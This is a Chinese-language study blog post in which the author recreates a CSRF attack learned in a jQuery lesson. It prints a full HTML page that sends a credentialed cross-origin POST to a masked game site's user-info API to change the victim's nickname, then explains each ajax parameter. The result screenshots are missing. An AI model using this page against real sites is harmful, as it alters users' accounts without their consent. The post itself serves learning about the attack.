​ 在温习完前端后,继续学习了JS JQ。在讲JQ时,讲师用JQ本地复现了一遍CSRF。因为我对CSRF的理解一直处于概念上,所以就此机会将JQ复现代码学习理解一遍!

某小游戏网csrf POST更改账户信息。代码具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html>
<head>
<title>jquery</title>
<script src="https://libs.baidu.com/jquery/2.0.0/jquery.js"></script>
</head>
<body>
<script>
$.ajax({
type: 'POST',
url:'http://www.xxxx.com/xxxapi/user/info',
dataType: 'json',
data: {
"headimg":"/static/usericon/userphoto20.png",
"user_tag":[],
"allow_status":"1",
"nickname":"Leafer",
"real_name":"",
"id_number":""},
xhrFields: {
withCredentials:true //支持附带详细信息,可以携带cookie
},
crossDomain: true,//请求偏向外域,支持跨域请求
success: function (data) {
console.log(data);
}
});
</script>
</body>
</html>

本例 type为’POST’。type默认值为”GET”,可选”GET”或”POST”。

url为发送请求的地址。

dataType为传递的数据类型。本处为”JSON”。可用值如下:

“xml”:返回XML文档;

“html”:返回纯文本HTML信息;

“script”:返回纯文本JavaScript代码。

“json”:返回JSON数据

“jsconp”:JSONP格式

“text”:返回纯文本字符串。

xhrFields: {withCredentials:true}支持附带详细信息,携带cookie

crossDomain:ture 请求偏向外语,支持跨域请求

success: function (data) {console.log(data);}请求成功后在控制台输出data数据。

访问页面后

参数为:

响应值为:

再去查看自己的昵称